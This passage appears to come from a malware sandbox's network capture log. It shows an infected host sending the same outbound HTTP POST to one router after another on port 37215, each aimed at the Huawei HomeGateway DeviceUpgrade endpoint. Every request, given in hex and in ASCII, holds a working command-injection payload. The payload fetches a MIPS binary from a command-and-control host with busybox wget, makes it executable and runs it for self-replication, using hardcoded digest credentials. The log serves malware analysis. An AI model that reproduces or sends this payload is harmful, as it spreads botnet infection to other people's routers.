73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	33116	197.108.23.217	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488374949 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	39056	156.135.37.168	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488435984 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	43864	197.204.14.128	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488487005 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	48942	41.22.109.55	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488517046 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	49530	197.156.27.154	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488549948 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	49152	197.226.142.141	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488576889 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	40250	156.3.134.146	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488600016 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	56962	156.32.248.140	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488604069 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	40870	41.115.20.24	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488631010 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	54772	41.166.36.238	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:11.488656044 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 